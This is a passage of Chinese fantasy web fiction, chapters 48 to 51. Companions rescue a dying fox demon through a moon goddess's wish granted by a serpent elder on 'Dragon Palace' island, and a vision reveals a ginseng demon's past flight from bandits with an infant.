白灿灿每低喃一声,刘掌柜便回应道:“妈妈在呢……”
白灿灿的声音越来越微弱,最后只不断地唤着:“妈妈……妈妈……”
刘掌柜抱住她的脑袋,眼角滑下两行清泪,哽咽道:“妈妈在呢……妈妈在呢……”
白灿灿将头靠在刘掌柜怀里,神色渐渐变得安详,呕出一口黑血,嘴里缓缓吐出一股黑气。
恶念已消,那黑气被驱逐出体外,当即想往门外逃窜,但庞千山早已布好锁鬼阵,黑气猛地撞上结界,啪叽一声摔在地上。
庞千山拿出镇鬼葫芦,掐诀念咒,将这食恶鬼捉住。
玄隐松开白灿灿,刘掌柜急忙将白灿灿抱在了怀里。
刘掌柜刚松了一口气,却发现怀里的白灿灿又轻又冰,满身虚汗,如同一张毛茸茸的毯子沾了晨露一般。
她急忙捧起白灿灿的脸,发现白灿灿脸颊已深深凹陷下去,呼吸断断续续的,好似一下刻就要消失一样。
纪映阳也发现了白灿灿的异样,冲上前查看,右手刚碰到白灿灿的一瞬间,就被她冰冷的体温刺痛了指尖。他怔怔地问道:“怎、怎么会这样……”
庞千山犹豫着开了口:“或许是食恶灵在她体内寄生的时间太长了,已经蚕食了不少的血肉和魂魄……”
他低下头,不忍细说下去,但大家都明白他的言外之意——残缺了血肉与魂魄,白灿灿还能活下去么?
48. 龙宫篇(一)
刘掌柜紧紧抱着白灿灿,失声恸哭,颤抖着,却强睁开模糊的泪眼,热泪从眼角滚落,滴在白灿灿毛茸茸的脸上。
纪映阳踉跄着往白灿灿的方向走了两步,实在是不忍打扰刘掌柜和白灿灿的诀别,停下了脚步,只是低垂着头,泪珠扑簌簌地落下。
冉青云已顾不上自己胸前深可见骨的伤口,只觉得心脏好似针扎一般的疼痛,几乎喘不过气来。扶着她的玄隐也同样已泪流满面。
庞千山别过头去,不忍再看。
人参妖丫丫从刘掌柜裙子下钻了出来,见刘掌柜抱着小狐妖哭得肝肠寸断,小狐妖的脸上满是刘掌柜的泪滴。
丫丫不由自主地伸出手,想擦去白狐脸上的泪珠。在丫丫碰到白灿灿的那一刻,她的身上泛起淡淡的白光。白灿灿原本已经微弱得快要消失的呼吸忽然又变得明显起来。
刘掌柜不可置信地睁大了眼,猛地扭头看向丫丫。
丫丫被刘掌柜凝重的眼神吓了一跳,缩回了手,白灿灿的呼吸立马又变得微弱,如同将熄未熄的火苗。
冉青云用袖口胡乱擦了擦脸上的泪水,恍然大悟道:“人参妖……是人参妖的作用!人参能吊气续命!”
闻言,刘掌柜马上就明白了她的意思,望向丫丫的眼神就好像看着救命稻草一般,急忙伸手将丫丫揽在怀里,人参妖丫丫和狐妖白灿灿在刘掌柜怀里紧紧相贴,白灿灿的呼吸逐渐变得平稳、绵长。
还有救!
只要能吊着白灿灿的命,就有希望能够找到补齐她血肉和魂魄的方法!
刻不容缓,冉青云深吸一口气,冷静下来,安排道:“纪映阳回一趟玉清山庄,问问师尊有没有什么办法或是能用得上的法器。我留在茶楼保护刘掌柜她们,还可以再仔细看看师尊送我的那一本《妖族习性大全》,说不定能找到有用的线索。”
她看向庞千山,作揖道:“也要麻烦庞大人帮忙查一查,有没有办法能让食恶鬼将他吞食了的血肉和魂魄吐出来。”
纪映阳心急如焚,听冉青云说完话,便急急忙忙地要往茶楼外跑。
庞千山却开了口,语气沉重:“我捉了几十年的恶鬼,从没听说过有谁被食恶鬼蚕食到这个程度之后还存活的……被食恶鬼吞食的血肉和魂魄已经变成食恶鬼体内的一部分了,鬼没有实体、也没有生命,也没有办法将食恶鬼开膛破肚,能救回白灿灿的可能微乎其微……”
纪映阳已走到了茶楼门口,停下脚步听完了庞千山的这番话,他没有回头,也没有反驳,只是一声不吭地低着头。
一向温和的刘掌柜却大吼起来:“只要有一点点希望,我都不会放弃灿儿的!”
庞千山长叹了一口气,说:“我知道我现在说这些,你们听了心里肯定不好受。但我只是希望你们能做好最坏的打算,不要抱着渺茫的希望一直煎熬下去……”
眼看刘掌柜又要反驳,玄隐弱弱地举起一只爪子,说:“或许……可以去找河婆婆,河婆婆可能有办法!”
“河婆婆?”众人齐齐扭头看向玄隐。
玄隐点点头,乖巧地说:“是呀,河婆婆是我老家的一个年纪很大的老婆婆,大家都叫她河婆婆。我记得,十八年前河婆婆就曾救过一个咽了气的小女孩,说不定她也有办法救灿灿。”
听玄隐的意思,那位河婆婆竟有起死回生之术?
有希望总比没有好,刘掌柜急忙问:“你老家在哪儿?”
玄隐回答:“在龙宫!”
这倒是从来没听玄隐说过,冉青云追问道:“龙宫?龙宫在哪儿?龙宫里有龙吗?”
玄隐:“曾经有!但是龙大人她飞升成云螭上神,去了仙界,早就已经不在龙宫里了。”
他挠挠脑袋,说:“龙宫在灵河里,要去龙宫的话,我们得先向东三百里去到临渔城,从那儿入海。之后我可以驮着大家,一直往北游,就到了灵河的入海口,继续逆流而上,就到龙宫了。”
临渔城是一座滨海小城,八爪鱼小八就是从那儿来的。
“好,好,那我们快点儿出发吧。”刘掌柜着急地催促道。
谁也不知道人参妖能帮白灿灿吊命多久,白灿灿随时可能一命呜呼,现在的每分每秒都很珍贵,确实应该立即出发。
但听玄隐话里话外的意思,他其实也不能保证那位河婆婆真的有办法救白灿灿,还是不能孤注一掷。
冉青云想了想,说:“那这样吧。我们兵分两路,玄隐、我、丫丫和灿灿一起去龙宫,玄隐带路,我保护大家,丫丫帮灿灿续命。而纪映阳还是去玉清山庄,找师尊问问有没有什么办法。我们两个有消息了就随时用传书玉玺联系。”
她担心去龙宫路途遥远,跋山涉水的,刘掌柜年纪大了,不适合一起奔波。
可刘掌柜却固执道:“我也要去!不陪着灿灿我心里放心不下。”
她眼神坚定,语气却发颤。
冉青云明白,刘掌柜是怕自己见不到灿灿的最后一面。冉青云狠不下心拒绝她的请求,只好点了点头。
见她们这副铁了心要救活白灿灿的样子,庞千山叹气道:“我也会尽力帮你们找找办法的。”
随后,大家简单收拾了一下行李,很快就出发了。
***
刘掌柜年事已高,丫丫乳臭未干,白灿灿昏迷不醒,冉青云有伤在身,完美集齐了老弱病残四字,只好花钱雇了辆马车赶路。快马加鞭,连夜赶路,三百里路走了五六个时辰,直到第二日的清晨,才抵达临渔城的码头。
晨光中,码头旁的渔船摇曳在波光粼粼的海面上,微风吹过,带来扑面的寒意和咸涩气息。
此时已是深秋,渔民们一般巳时才出海捕鱼,因此清晨的码头空空荡荡、寂寥无人。
玄隐化为巨蛟,纵身跃入海里,浮在水面上,他黑色云状斑纹在晨光中泛起五颜六色的闪闪微光,像一道墨色的海浪。玄隐扬起头,对冉青云等人喊道:“你们快上来吧,抓紧我!”
冉青云力气大,拎起刘掌柜、白灿灿和丫丫,施展轻功带着她们跳上蛟背,扶着刘掌柜坐稳后,便伏下身子,一手抱住白灿灿和丫丫,一手搂住玄隐的身子。
没成想,她刚搂住玄隐,玄隐突然“啊”了一声,转过头红着脸支支吾吾地说:“你、你的手不要摸我肚子那里……我、我怕痒……”
……不好意思,不是故意非礼你的。
冉青云重新调整好坐姿,拍拍玄隐的背,说:“好了,我们出发吧。”
闻言,玄隐大半个身子潜入海中,只留冉青云等人在海面以上呼吸,蛟尾一甩,带着她们向北游去。
玄隐前行的速度极快,溅起的海水将衣服下摆浸润得湿湿嗒嗒的,迎面的寒风宛如刀割,浑身泛起刺骨的凉意。
冉青云身强力壮,尚且觉得手脚都快冻僵了。刘掌柜已是一把年纪,纵使冻得瑟瑟发抖,却始终不提让玄隐慢一些,只是咬紧牙关,紧紧抓住蛟身,目光坚定,死死地盯着前方。
不出半日,就见到前方是一片红海滩,海滩上零零散散地长着不少金黄的芦苇荡。
玄隐摆尾前行,喊了一声:“你们小心!”便一头扎进最大的那片芦苇丛中。<
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p>秋日的芦苇干燥扎人,冉青云不得不低下头,闭着眼紧紧趴在玄隐背上。
钻出芦苇丛后,一切豁然开朗,只见她们已经身处一条宽阔的大河之中了。
玄隐高声喊:“这儿就是灵河,很快就到我老家啦!”
没过多久,眼前就出现一座河心岛,岛上树木丛生,金黄与火红交织成景,倒映在静静流淌的灵河水中。
玄隐驮着她们上了岸,冉青云一手抱着白灿灿和丫丫,一手扶着刘掌柜,从蛟背上滑了下来。玄隐抖了抖身子,变回指头粗细的小黑蛟,盘在了冉青云脖子上,为她们指路:“往前一直走,就到龙宫了!”
冉青云原本还以为龙宫是和《西*记》里的东海龙宫或是《浦*太郎》里乙姬的龙宫一样是在海底的,没想到玄隐口中的龙宫却是在一座湖中岛上。
刘掌柜这一路过来,寒风吹着,还要绷紧肌肉、抓牢玄隐,防止掉入海里,全身上下已是酸软无力,刚迈出一步就差点儿趔趄倒地。
冉青云眼疾手快,急忙扶住她,不由分说地就将刘掌柜背了起来。
刘掌柜还要逞强:“我可以走的……”
冉青云却摇摇头,说:“没事,我力气大,一点儿都不吃力。”
玄隐盘在冉青云脖子上,往后看,冉青云背上背着刘掌柜,往前看,冉青云怀里抱着白灿灿和丫丫。
冉青云相当于负重越野,吭哧吭哧地走在河边的浅滩上,一步一个深深的脚印。
玄隐一向喜欢盘在冉青云身上,撒着娇让她带着自己走路,也正如冉青云所说,她力大无穷,即使拎着好几个人也同样健步如飞,但在这一刻,玄隐心里却莫名其妙的难受起来。
他跳下来,变回人形,对冉青云说:“我来背着刘掌柜吧。”
说罢,他也不等冉青云说话,便将刘掌柜从冉青云背上扶下来,自顾自背了起来,迈开腿走在了前面,扭头说:“快走吧,我们直接去找河婆婆。”
冉青云回过神,应了一声,急忙跟上。
在林子里走了五六里的路,走到了一片开阔的草地之上,只见草地上满是一个又一个巨大的石堆,不少蛟蛇在石堆间穿行,偶尔也有几个化为人形或是半人半蛇的蛟妖或是蛇妖。
玄隐一出现,就有不少小蛇小蛟围了过来,睁着大眼睛,开心地叽叽喳喳起来——
“玄隐!你回来啦!”
“你身后这是谁呀?她们是人族吗?”
“你是回家看你爹爹娘娘妹妹了吗?”
“现在外面是什么样的?好不好玩呀?”
玄隐听得耳朵疼,连声说:“哎呀,我有重要的事要找河婆婆,等会儿再和你们聊天!”说着拔腿就朝着草地中央一个高高的石堆跑去。
近看才发现,这儿的一个个石堆其实是垒起来的一座座洞穴。玄隐在洞口喊了一声:“河婆婆,我是玄隐!我找您有事儿!”
洞内传来一个低沉而悠扬的声音:“快进来吧。”
走进洞中,洞内坐着一位蛇尾人身的老妇人,她脸庞削瘦,满头白发,眼眸深邃,布满皱纹的皮肤苍白而又粗糙,蛇身通体雪白,脖子上挂着一条月牙形状的玉石吊坠。
看来这就是河婆婆了。
河婆婆慈爱地看向玄隐,说:“小隐,好久不见了。你在人界过得如何呀?”
还没等玄隐回答,河婆婆看见了玄隐身后的冉青云,眯着眼笑道:“真巧,你们竟在人界遇上了。我们也许久未见了呀。”
啊?
我们见过吗?
冉青云睁大了眼,一头雾水。
49. 龙宫篇(二)
冉青云一脸疑惑:“您认识我?”
没想到河婆婆比她还疑惑,皱眉问道:“你不认识我了?”
啊?应该认识吗?
冉青云努力检索了自己在这个世界十八年来的记忆,确信自己从没见过河婆婆。
河婆婆问:“难道你不是那只人参妖吗?”
?
怎么又和人参妖扯上关系了?
冉青云指了指怀里的人参妖丫丫,说:“她才是小人参妖。”
丫丫眼睛亮晶晶的,笑得脸蛋圆鼓鼓的,奶声奶气地喊:“呀!”
算是和河婆婆打招呼了。
河婆婆的目光在冉青云和丫丫身上转了几转,低声喃喃道:“她竟然没有把愿望用在自己身上……”
她的声音低得像一声叹息。
冉青云没听清河婆婆说了什么,还想再问,被玄隐背着的刘掌柜却从他背上跳了下来,踉跄着跑了几步,来到河婆婆面前,哭道:“请、请您想想办法救救她。”
刘掌柜话音刚落,河婆婆胸前的月牙吊坠突然亮了起来。河婆婆低头看了看亮闪闪的吊坠,表情有些惊讶,随后,她抬起头看向刘掌柜,深邃的眼眸里浮现出一轮白月牙。
玄隐激动道:“十八年前河婆婆也是这样——吊坠发亮之后,河婆婆就说有办法救那个小女孩了!”
河婆婆的声音变得空灵,她对着刘掌柜说:“这是月娘大人的神迹,你与月娘大人有缘,可以向月娘大人许一个愿望。”
刘掌柜没有丝毫的犹豫,看着昏迷中的白灿灿,眼眶盈泪,大声说:“我希望我的女儿白灿灿能找回丢失的血肉和魂魄,健健康康地活过来!”
话毕,河婆婆胸前的月牙吊坠光芒四射,猛地照亮了整个昏暗的山洞。
河婆婆闭上眼,神色专注,似乎是在聆听着什么。过了一会儿,她睁开眼,说:“月娘大人愿意实现你的愿望。”
几点白色的亮光从月牙吊坠中满溢出来,飞舞着飘进了白灿灿的身体中。
河婆婆说:“月娘大人已将她残缺的魂魄找回,只要她在灵气充足之地休养生息,就能长回自己的血肉。天神山地蕴灵脉,或许她可以在那儿好好地……”
河婆婆话还没说完,人参妖丫丫身上泛着的淡淡白光突然开始闪动,白灿灿的面色也肉眼可见地红润起来,她干瘪的脸庞也渐渐变得饱满。
冉青云第一个反应过来:“玉清山庄就在天神山,丫丫是在天神山灵脉的温养下长大的!”
纪映阳也明白了:“所以丫丫除了用人参妖的妖气滋补灿灿的身体之外,还可以用灵力滋养她的血肉。”
“灿灿!我的灿灿……”刘掌柜激动地抱住白灿灿,流着泪对着河婆婆连连说:“谢谢!太感谢了!”
月光吊坠的光芒黯淡下去,河婆婆眼眸中的月牙影子也消失不见,她摇摇头,说:“这并不是我的功劳,我只是代为传达月娘大人的旨意。”
冉青云好奇心大起,忍不住问道:“请问,月娘大人是哪一位神仙呀?”
河婆婆:“月娘大人就是太阴星君,她有着掌管人界和冥界的力量,但她久居月亮之上,因此就将神力暂借给她选中的生灵,让他们代为守护两界的安宁。”
掌管人界和冥界?难怪她有起死回生的能力。
河婆婆继续解释道:“我只是被她选中的其中之一,她的力量遍布雪山、森林、草原、戈壁。因此,并不是只要呼唤她,她就会出现。她只会实现那些与她有缘——或者,应该说是与守护两界安宁有关的生灵的愿望。”
“我已经活了几百年,但算上这一次,我只见过月娘大人显灵三回。”
“第一回,是在两百年多前,我遇见过一个黄蓝异瞳的少女,那时她已经奄奄一息,身边只有一只心急如焚的犬妖相伴。”
黄蓝异瞳?犬妖?
听到这四个字,冉青云脑海里浮现出陈三妹的脸。
冉青云弱弱地问道:“那只犬妖不会是一只西施犬吧?”
河婆婆笑了:“看来你们也认识她们。或许冥冥之中自有天定。这么说起来,虽说我比你们早了两百年认识她,但我却还不知道那个少女的名字呢。”
也不知是被月娘大人救过的她们因此有了相遇的缘分,还是她们本该相遇,才会被月娘大人选中。
冉青云说:“她的名字叫陈三妹,那只西施犬妖叫陈小雪。”
纪映阳好奇道:“那她当时许的愿望是长生不老吗?”
河婆婆慢慢地摇了摇头,说:“不。或许她直到现在,都根本不知道自己得到了一个和月娘大人许愿的机会。那时的她只是担心自己死后,没有人照顾那只小犬妖,所以在弥留之际,她对着相依为命小犬妖低声喃喃道:‘我死后只剩你一个人可怎么办呀?要是我能死在你之后就好了。’”
河婆婆将陈三妹的语气模仿得惟妙惟肖,冉青云等人仿佛也看见了当时的场景。
河婆婆接着说:“月娘大人满足了她的愿望,她与犬妖的性命从此绑在一起,而犬妖的寿命足足有九百年之多,因此,与人类的寿命相比,那位异瞳的女孩也可以算得上是长生不老了。”
河婆婆看向冉青云,顿了顿,说:“至于月娘大人的第二次显灵,就和你有关系了。”
冉青云歪着头,指了指自己,“我?”
“是的。”
“月娘大人将第二个愿望,赠给了一位修炼千年的人参妖。”
“关于她的故事,你可以用自己的眼睛去亲眼见证……”
河婆婆说着,眼里又浮现出月牙的图样。那月牙无声地转动起来,好似一对漩涡,冉青云的目光被它牢牢吸住,完全移不开眼睛。
随后,冉青云眼前一黑,晕了过去。
***
冉青云再次睁开眼时,发现自己身处于一个昏暗的房间之中,空气中弥漫着草木灰的味道,这儿看上去像一间柴房。
面前是一位农妇模样的女人,约莫二十几岁,穿着一身绛蓝麻布裙,罩着一件灰布外袍。她额头上肿了一个大包,左眼乌青一片,腰间被利器划了一大道口子,溢出的鲜血将布裙和外袍染得通红。
冉青云看着她的模样,总觉得很眼熟。
那女人背靠木门,双手牢牢地拉住门框,门外似乎有谁在砸门踹门,木门发出砰砰的巨响,震得那女人差点儿站不稳。
她拧着眉,用气音吼道:“你愣着干啥?快带着小雅走呀!”
冉青云这才发现自己手中抱着一个包在襁褓中的小婴儿,小婴儿面色涨红,昏迷不醒,看上去似乎是发烧了。
冉青云正想问问这是哪儿,却发现自己的嘴巴不受控制,自顾自开口说:“丽姐姐,我们一起走!”
丽姐姐瞪了她一眼,呕出一口血,怒道:“我不堵着门,你们怎么走?我受伤成这样,怎么一起走?别磨叽了,你快走!”
她却摇摇头,走上前,也用背紧紧地抵着门。
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冉青云发现,自己似乎控制不了这具身体,只能借她的眼睛旁观着发生的一切。
难道这就是河婆婆所说的——“用自己的眼睛去亲眼见证”?
门外传来暴躁的大喊声:“躲着有个屁用?快把那人参精交出来,王员外的老爹还等着炖汤治病呢!”
另一个比较温和的声音响起:“小丽呀,只要你主动将那人参精交出来,你私藏妖怪的事儿我们就不追究了。”
那暴躁的声音又说:“我们算是给你面子了!反正我们迟早能把这门砸开,到时你可也要遭罪咯!”
他们软硬兼施,听上去对那人参精势在必得。
接着又是咣咣咣几声踹门声。
冉青云能感觉到自己的身体在瑟瑟发抖,语带哭腔地说:“丽姐姐,要不你把我交出去吧,都怪我连累了你们……”
看来这具身体就是河婆婆口中那位“修炼千年的人参妖”。
丽姐姐的身体几乎撑不住门了,她哽咽道:“他们是山贼,你还真以为把你交出去我们娘俩就能活命吗?算我求你了,你快带着小雅走吧,小雅的身体耽误不得。”
丽姐姐看着她,眼神里是冉青云读不懂的复杂情绪。
冉青云看着她,突然发现自己对她的熟悉感从何而来了——自己和这位丽姐姐竟长得有七八分相像,只不过丽姐姐的脸更成熟一些,个子也更矮一些。
面前,丽姐姐脸色惨白,一字一顿地对人参妖说:“不要让我后悔救了你。”
人参妖咬了咬下唇,深吸一口气,转过身,跪在地上,对着丽姐姐磕了一个响头,认真地说:“丽姐姐,我发誓我一定会找人医好小雅!您的大恩大德我永生永世都不会忘记!”
说罢,她眼含热泪,抱着小雅,猫着身子,从柴房的后窗钻了出去。
柴房背靠峡谷,深不见底,后窗下就是一处几乎垂直的悬崖峭壁,根本站不住脚,因此没有山贼堵在此处。
寻常人是爬不了峭壁,但是人参妖可不是寻常人。
她一手抱紧小雅,其他的手脚上登时长出粗壮的根须,缠住悬崖上的灌木或凸起的石块,一点一点地向着峡谷底部移动。
爬了一会儿,突然听见头顶柴房传出“砰”的一声破门的巨响,紧接着是山贼们大声的谩骂:“你这贱人,那人参精跑哪儿去啦?好,不说是吧?我打到你命都没了了,看你说不说!”
随后响起一阵拳打脚踢的闷响,夹杂着女人几声努力压抑却又实在克制不住的痛苦哀嚎。
人参妖的眼前被泪水模糊,她眨了眨眼,深呼吸,努力地想要使自己平静下来,眼泪簌簌地往下掉。
她不停地哭着,可始终都没有停下往下攀爬的脚步。
这个峡谷实在是太深了,她爬得手脚都发酸发软,低头望去,看见峡谷底部是一条湍急的河流。
头顶传来一声大呼:“大哥!我找到了!那人参精在这儿!”
人参妖抬头一看,有一个秃子山贼正从后窗探出头来,与她四目相对。
那山贼头子也凑出脑袋来看,大喜道:“快!快!你们把绳索拿来,派几个人绑牢了,下去把那人参精捉住!”
人参妖看了看怀里的小雅,咬了咬牙,纵身往河里跳去,在半空中,她双手上的人参根须将小雅包围起来,好似一颗雪白的茧,将小雅严严实实地保护在手中。
她将小雅护在怀里,背朝下砸进了汹涌的河水中,扑通一声,被河水吞没。
50. 龙宫篇(三)
河水波涛汹涌,卷起了一个巨浪,将人参妖吞没在浪花之中。
她牢牢地将小雅护在怀中,河水冰凉刺骨,水中的断枝碎石剐蹭得她浑身是伤,她紧紧咬住牙关,心中只有一个念头——一定要保护好小雅!
她手上的根须织成一个滴水不漏的保护罩,将小雅安安稳稳地保护起来。
河水太过湍急,她几乎睁不开眼睛,只能屏住气,随波漂流。
渐渐地,河水慢慢变得平缓,她钻出水面,发现自己已经离开了谷底,来到一条宽广、平静的大河之中,眼前豁然开朗。
她急忙看了看怀里的小雅,小雅还有微弱的呼吸,但原本因发烧而泛红的脸色已经变得发紫——根须织成的保护罩让小雅免受河水的侵蚀,却险些也让她窒息而亡。
不远处是一座河心岛,岛上树木丛生,郁郁葱葱,倒映在水平如镜的河水中。
人参妖单手抱着小雅,奋力游到小岛上,双腿踏上深红色浅滩的那一刻,她趔趄倒地,脱力晕了过去。
不知过了多久,她悠悠转醒,发现自己身上披着一条保暖的白色蛇蜕,抬头一看,身边站着一位蛇尾人身的老婆婆。
在老婆婆的身后,一只小黑蛟探出了头,好奇地看着她。
冉青云认了出来,那是十八年前的河婆婆和十八年前的玄隐。
河婆婆的模样和如今没有什么不同,脸庞削瘦,白发苍苍,满脸皱纹,眼眸深邃。十八年的光阴在她几百年甚至上千年的生命之中显得太过短暂,甚至无法在她脸上留下一丁点时光的印迹。
玄隐的模样和现在差别也不大,只是看上去更傻、更胆小一些。
玄隐躲在河婆婆身后,小声对河婆婆说:“河婆婆,你看,她醒了!”
河婆婆笑得和蔼可亲,温柔地将人参妖扶了起来,说:“你现在看起来似乎需要一些帮助。”
人参妖警惕地看着河婆婆,护住自己怀里的小雅,问道:“你们是谁?这里是哪里?”
河婆婆并不介意她的防备,耐心地回答:“这儿是一座小岛,叫做‘龙宫’。岛上住着很多蛇妖和蛟妖,我也是其中一位,大家都叫我‘河婆婆’。”
玄隐也怯生生地说:“我叫玄隐,……黑乎乎的那个‘玄’,啥也看不见的那个‘隐’。”
不知为何,人参妖放下了一点防备,或许是河婆婆温和的态度令她想起了那位温柔的丽姐姐,又或许是玄隐文盲式的自我介绍让她暗暗觉得好笑。
人参妖顿了顿,又问:“你们这儿有大夫吗?这个孩子发了高烧,她……”
她说到一半便卡壳了,因为她低头看见了自己怀里的小雅——小雅原本涨得紫红的脸此刻已经变得苍白,肉肉的小手小脚已经僵硬,裸露在外的后脖颈长出了一大片紫红色的斑块。
若是人参妖略通医术,她就会知道,这种紫红色斑块的名字叫做“尸斑”。
她慌张起来,用手试了试小雅的鼻息,连一丁点微弱的呼吸都没有。
她伸出手拍了拍小雅的背,企图将小雅唤醒。她不敢用力,深怕拍疼了小雅;但又担心自己力道太轻,无法将小雅唤醒。
可不管她用什么力道,小雅都没有要苏醒过来的迹象。
她眼眶里蓄满了泪水,一眨眼泪水便簌簌地掉落下来。她慌乱地掰下自己手上的人参须,往小雅嘴里塞。
河婆婆低声说:“没用的,她已经死了。”
人参妖抬头,茫然地看着河婆婆,呆呆地重复道:“死了?”
“是的,她已经死了。”河婆婆安慰道,“她的灵魂会投胎转世,开启新的一生。”
人参妖问道:“投胎后的小雅还是小雅么?”
“是,但也不是。转世后,灵魂还是一样的灵魂,但她却会有新的家人、新的人生、新的姓名。”
人参妖猛地摇摇头,大声哭道:“那不行!我对丽姐姐发了誓,一定会找人医好小雅,让小雅好好活着。我不能让这一世的小雅就这么死了!”
她这一番话几乎是嘶吼着喊了出来,眼泪从眼眶中源源不断地涌了出来。
河婆婆胸前的月牙吊坠微微发亮,她的眼眸里映出弯弯的月牙。
河婆婆望着人参妖,缓缓地说:“你与月娘大人有缘,月娘大人愿意实现你的心愿。”
随后,河婆婆闭上眼睛,神色专注,一副在聆听着什么的模样。
这已是冉青云第二次见到河婆婆这个样子,她知道,河婆婆是在与月娘大人对话。
半晌,河婆婆睁开眼睛,问道:“只要能救下这个孩子,你什么都愿意做么?”
人参妖重重地点头:“我什么都愿意做!”
河婆婆还是不放心,又问:“哪怕是让你们的灵魂对调,她在人参妖的身体中获得上千年的寿命,而你只能在人类的躯体中活过短短的百年,你也愿意么?”
闻言,人参妖愣住了。
河婆婆见她迟疑,劝道:“既然你心存犹豫,那便不要白费力气了。月娘大人只会实现最虔诚的愿望,只要你心里有一丝的游移,那愿望就无法实现。你走吧。”
人参妖没有离开,反而开口问道:“若是我们互换了身体,她还能记得自己的阿娘吗?她的记忆能保留下来吗?”
她竟是因为这个才有所犹豫的。
河婆婆有些讶异,如实回答道:“她所有的记忆自然是随着她的灵魂一起进入新的身体之中。但她如今不过是几个月大的婴孩,哪怕现在认得出自己娘亲的模样、声音、气味,等她长大以后,估计也记不清楚了……”
人参妖提了提嘴角,露出一个微笑,她已经许久没有笑过了,笑得有些僵硬。
她说:“这样就够了……”
她喃喃着重复了一遍:“这样就够了。”
她的眼神是那么的坚定,好像不管前路是刀山还是火海,她都能毫不犹豫地一往无前。
河婆婆不由得为之动容,说:“那么,你带着这个咽了气的女婴,穿越这座小岛,顺流而下,一路向南去,找一座名叫天神山的山峰,天神山下蕴藏着天地间最浓郁的灵脉。”
“在那里,月娘大人会实现你的愿望,让你们的灵魂互换。她的魂魄会在灵脉的滋养下,慢慢与人参妖的身体结合在一起。”
“而你的魂魄进入她死去的躯体之内,与这具躯体结合在一起,你灵魂上残留的人参妖气能够滋育这具身体,使它的心脏重新跳动、血液再次流淌。”
人参妖认真地听着,全神贯注,生怕听少了。
“月娘大人已降下祝福,这个孩子的尸身永远都不会腐坏。”河婆婆强调道,“但要记住,你必须要在七日之内到达天神山。人死后过了七日,魂魄就会离开躯体,进入六道轮回,投胎获得新生。时间一过,你就再也救不回这个孩子了。”
人参妖点点头,擦干眼泪,抱着小雅的尸身,谢别河婆婆后,便一刻也不停留地往小岛内走去。
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>小黑蛟犹豫了一会儿,鼓起勇气跑到了人参妖的身边,眨巴着眼,问道:“姐姐,你是从龙宫外面来的吧。外面的世界好玩吗?”
冉青云亲眼见证人参妖经历了什么——被山贼追赶,与丽姐姐生离死别,在汹涌河水里挣扎、窒息、伤痕累累……
她原本以为人参妖会很果断地摇头,但人参妖却沉默了一会儿,缓缓地、轻轻地点了点头,说:“外面的世界……很好……”
“外面的世界有坏人,但也有很好、很好、很好的人。”她目光长投,与其说她在回答玄隐的问题,不如说她是在和自己的心对话,“我从不后悔离开深山,去到外面的世界。”
冉青云不知道人参妖和丽姐姐从前的事情,但她们一定是一起经历了很多很多,所以丽姐姐才宁愿自己牺牲也要帮助人参妖逃命,而人参妖则拼了命也要救活丽姐姐的孩子。
玄隐的脸上露出向往的神情:“哇!我也想去外面的世界玩!”
玄隐知道她要横穿龙宫岛,顺着灵河一路往南去,便提议道:“不如这样,待会儿我顺路和我爹娘道声别,我们一起出发,我可以载你一程,等上了岸,我们再分别,如何?”
冉青云了解玄隐的性子,知道他是胆子小,不敢一只妖离开龙宫,这才提议和人参妖一起出发。
他生怕人参妖不答应,自荐道:“我在水里游得可快了!我载你一程的话,你可以省下不少时间!”
人参妖如今最看重的就是时间,她只有七天的时间,若是无法在七天之内找到天神山,她就救不了小雅。
她点点头,同意了玄隐的提议。
玄隐高高兴兴地欢呼起来。
可当路过自家洞穴时,他玄隐爹娘却正好不在家。玄隐知道人参妖姐姐有正事要干,怕自己耽误了她的时间,索性不等爹娘归家,留下一封辞别信,便领着人参妖往小岛的边缘走去。
他背上载着人参妖,跃入宽广的灵河里。人参妖怀里抱着已经没了生息的小雅。
玄隐奔向自己有着无限可能的未来,而人参妖眼前却只有生与死的岔路口。
他们沿着灵河顺流而下,钻出入海口处茂密的芦苇丛,游入一望无际的大海,乘风破浪,很快抵达了一个码头。
此时已是深夜,码头上寂寥无人,银色的月光洒满海面,波光粼粼。渔船停靠在码头,在微风和海浪中轻轻摇晃。
冉青云认得这个码头,这是临渔城的码头。
难怪玄隐认得从临渔城到龙宫岛的路。
人参妖要继续南行,就必须要穿过临渔城。
但玄隐离开龙宫岛已是耗尽了勇气,实在不敢进入人类居住的城镇,便与人参妖告别,趁着夜色钻进了北面的荒林中。
人参妖除却手脚上的根须之外,长相与常人无异,便假装成人类,抱着怀里的小雅,走进了临渔城。
三更半夜的临渔城冷冷清清,连一个可以问路的人都没有。
人参妖诞生于大地之中,生来便能辨别东西南北。她不知道天神山具体在哪儿,只能按河婆婆所说,先一路往南走。
她走着走着,忽然听见前方不远处传来一阵窸窸窣窣的声音。她定睛一看,发现一只鬼鬼祟祟的八爪鱼正趴在一间店铺门口,蹑手蹑脚地往里看,圆圆的身子上长着八根长长的触手,背上背着一个装满水的小木桶。
虽然隔了几步的距离,但冉青云还是认出来那是后来到香梅茶楼应聘画手的八爪鱼妖小八。
51. 龙宫篇(四)
那八爪鱼鬼头鬼脑地趴在店铺门口,探着脑袋往里面张望。
人参妖走上前,想找八爪鱼妖问问路,打招呼道:“你好……”
八爪鱼妖被吓了一跳,通体被吓成白色,用触角捂着脸,小声说:“对不起对不起,我没有偷东西,我只是想来看一看画……”
人参妖这才发现,这八爪鱼妖扒着的店铺是一间书画铺。
八爪鱼妖瑟缩着身子,嘴里还在喋喋不休地道歉。
人参妖打断了他的话,问道:“我是想问问,你知道天神山怎么走吗?”
八爪鱼妖怯怯地抬起头,感受到对方身上萦绕着淡淡的妖气,并不是来捉拿自己的人类,松了一口气,回答道:“天神山?我听都没听说过。”
“或许你可以去天虞城问一问。”八爪鱼挠挠头说,“我天天都躲在东涟海底偷听渔民们聊天,我听他们讲过天虞城,天虞城那儿能人异士多,肯定有人知道天神山在哪儿。”
他接着说:“出了临渔城,沿着官道往西南方向走三百里,就是天虞城了。”
人参妖点点头,和他道了谢,转身就打算出发了。
身后,八爪鱼妖忸怩着开了口:“请等一等!不知道能不能麻烦你帮我一个忙……将我举起来到窗口,让我看一眼铺子里的画。”
这也花不了多少时间,不过是举手之劳罢了。人参妖没有拒绝,点了点头,一手抱着小雅,一手将八爪鱼妖拎到了窗口。
八爪鱼妖攀在窗沿上,看得出了神,喃喃道:“真美呀……要是我以后也能住在城市里,靠画画挣银子,那该多好啊……”
人参妖辞别了八爪鱼妖,继续往南走。
她是植物妖族,土生水养,不需要吃食,因此省下了吃饭的时间。
为了更快地找到天神山,她几乎不休息,日夜兼程,终于在第二日的午时抵达了北岩山。
